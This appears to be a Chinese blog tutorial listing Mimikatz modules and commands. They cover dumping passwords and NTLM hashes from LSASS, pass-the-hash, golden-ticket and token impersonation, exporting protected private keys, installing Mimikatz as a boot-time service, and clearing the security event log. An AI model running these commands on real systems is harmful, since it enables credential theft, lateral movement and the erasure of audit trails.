Mimikatz使用

Mimikatz是一款后渗透测试工具,它能够从Windows认证(LSASS)的进程中获取内存,并且获取明文密码和NTLM哈希值的工具. lsass是微软Windows系统的安全机制它主要用于本地安全和登陆策略,通常我们在登陆系统时输入密码之后,密码便会储存在 lsass内存中,经过其 wdigest 和 tspkg 两个模块调用后,对其使用可逆的算法进行加密并存储在内存之中, 而 mimikatz 正是通过对lsass逆算获取到明文密码!

注:但是在安装了KB2871997补丁或者系统版本大于windows server 2012时,系统的内存中就不再保存明文的密码,这样利用mimikatz就不能从内存中读出明文密码了。mimikatz的使用需要administrator用户执行,administrators中的其他用户都不行

参考文章:Mimikatz 用法详解 - 云+社区 - 腾讯云 (tencent.com)

模块

privilege


通过id来确定权限 ,debug是20,driver是 10

privilege::debug

提升为debug权限,id转换为20

privilege::id $number$

id值在1到 20之间

crypto


导出未标记为可导出的 证书。一般私钥会被标记为不可导出,使用这个参数可以给系统打patch,之后就可以导出了

crypto::providers

查看加密 提供者。 一般有 CryptoAPI和 CNG 两种,其重CNG较为古老

crypto::stores

证书存储。windows 系统中有很多证书存储,默认的是CURRENT_USER 这个证书存储。

可以通过查询证书存储子下的所有存储证书

命令:

1
crypto::stores /systemstore::证书存储名称

比如local_machine证书存储,

crypto::certificates

查看子存储存在的证书(默认为系统存储Current_User下的子存储MY)

查询证书

后面跟着/store:子存储证书名称(当前证书存储位置是由前一个命令获取存储证书位置来决定的)

1
crypto:certificates /store:Root(子存储位置)

导出证书

Mimikatz不仅可以查询证书,还能将数据库中的证书导出(在Mimikatz目录下保存)

1
crypto::certificates/store:Root(子存储) /export

导出的公钥是DER格式的,私钥是PFX格式的,密码是mimikatz

cypto::capi

可以使用该命令给CryptoAPI打补丁,然后就支持CryptoAPI导出

crypto::cng

打cng补丁

crypto::sc

列出智能读卡器

crypto::keys

读取密钥,会列举出CryptoAPI和CNG密钥

可以看到有三个子选项

1
2
3
4
5
Provider

Provider type

CNG Provider

使用/provider查看所有用户的密钥

使用/export导出密钥,PVK files这个格式并不是我们平常的pem 格式,我们需要进一步转换

转化命令:

1
openssl rsa –inform pvk –in key.pvk–outform pem –out key.pem

sekurlsa


从lsass进程中提取passwords、keys、pin、tickets等信息

注意,既然是从内存中读取,那么就不会去SAM数据库读取,所以SAM数据库临时改动,只要内存中没有,那就读取不到

有如下命令:

sekurlsa::msv

获取主机Hash值

sekurlsa::wdigest

通过可逆的方式去读取明文密码

sekurlsa::Kerberos

假如域管理员正好在登陆了我们的电脑,我们可以通过这个命令来获取域管理员的明文密码

sekurlsa::tspkg

通过tspkg读取明文密码

sekurlsa::livessp

通过livessp读取明文密码

sekurlsa::logonPasswords

通过以上各种方式读取明文密码

sekurlsa::pth

可以直接用hash来进行登录

1
2
3
sekurlsa::pth /user:administrator/domain:host1 /ntlm:cdf34cda4e455232323xxxx

sekurlsa::pth /user:administrator/domain:host1 /aes256:cdf34cda4e455232323xxxx

其中/domain 如果加入了域,那就填写域名,如果没有,那就写计算机名,执行后会在本地新开一个以hash身份的命令行窗口

kerberos


与kerberos协议攻击相关的模块

kerberos::ptt

将票据注入内存。票证传递。通常用于注入窃取或伪造的 Kerberos 票证(黄金票证/白银票证/信任票证)

kerberos::list

列出所有的ticket票据

Kerberos::tgt

获取主机上的票据认证票据

kerberos:;purge

清除内存中的票据

kerberos::golden

获取主机上的黄金票据

kerberos::hash

获取主机上所有Hash密钥

kerberos::clist

Process


process::list

列出进程列表

process::exports

导入进程

process::imports

导出进程

process::start

开始一个进程

1
process:start [/paused]  [/sudo] commande

process::stop

暂停一个程序

process::suspend

冻结一个进程

process::resume

从冻结中恢复

process::run

运行进程

process::runp

查看mimikatz使用的模块

lsadump


通过查询SAM数据库来读取HASH

lsadump::sam

导出SAM的Hash值

lsamdump::setntlm

service

列出服务管理

service::list

列出当前服务

service::+

mimikatz 将自己注册为一个系统服务,这样每次系统起来就会自动运行了

service::-

停止并删除mimikatzsvc服务

ts


终端服务 terminal service

ts::multirdp

默认非服务器系统,windows只允许一个用户登录,也就是说如果我让别人远程登录我的电脑,那么我就不能操作了

这个命令可以让其支持多个用户同时在线

ts::sessions

可以查看当前登录用户的登录信息

可以看到当前的登录sessions的相关信息,并且每个session都有编号。可以看到Session的状态,登录用户,连接登录时间等会话相关信息。

ts::remote /id:1

此时会跳出当前用户的账号,在主界面可以看到session为1的那个账号的已经登录了,我们输入密码可以看到他的登录信息,比如他在打开哪些文件

event


关于日志的操作,比如清空安全日志中的所有日志

日志信息有很多,其中比较重要的是安全日志,其中包含xx在xx时间登录了

event:clear

清空安全日志

event:drop

避免新的日志继续产生(现在效果还不好,是一个试验性的功能)

misc


杂项功能

misc::cmd

开启命令处理器

misc::regedit

打开计算机注册表编辑器

misc::taskmgr

打开系统任务管理器

misc::clip

监听剪切板,可以看到剪切板中的复制剪切的内容

执行之后会一直监听着,直到我们输入Ctrl+c停止该模块

dpapi


基于密码系统级别的应用数据保护服务(密码/私钥)

支持以上使用数据保护的服务

dpapi::protect

dpapi::ssh

查看客户端SSH注册记录

token


查看用户令牌

token::whoami

查看你是who,当前操作用户

token::list

列出都有哪些登录了的账号

token::elevate /domain(域名)

假如domain域存在,我们可以假冒成为域管理员的token

token::revert

取消之前假冒的令牌,回到起初登录用户的令牌

token::run

显示当前用户进程的相关信息

vault


vault::list

列出所有系统品证,包括Windows凭证和Web凭证

vault::cred

查看系统凭据。可以看到保存在系统上的所有凭证,比如github,Microsft等相关凭证

打赏
  • 版权声明: 本博客所有文章除特别声明外,著作权归作者所有。转载请注明出处!
  • Copyrights © 2021-2024 John Doe
  • 访问人数: | 浏览次数:

让我给大家分享喜悦吧!

微信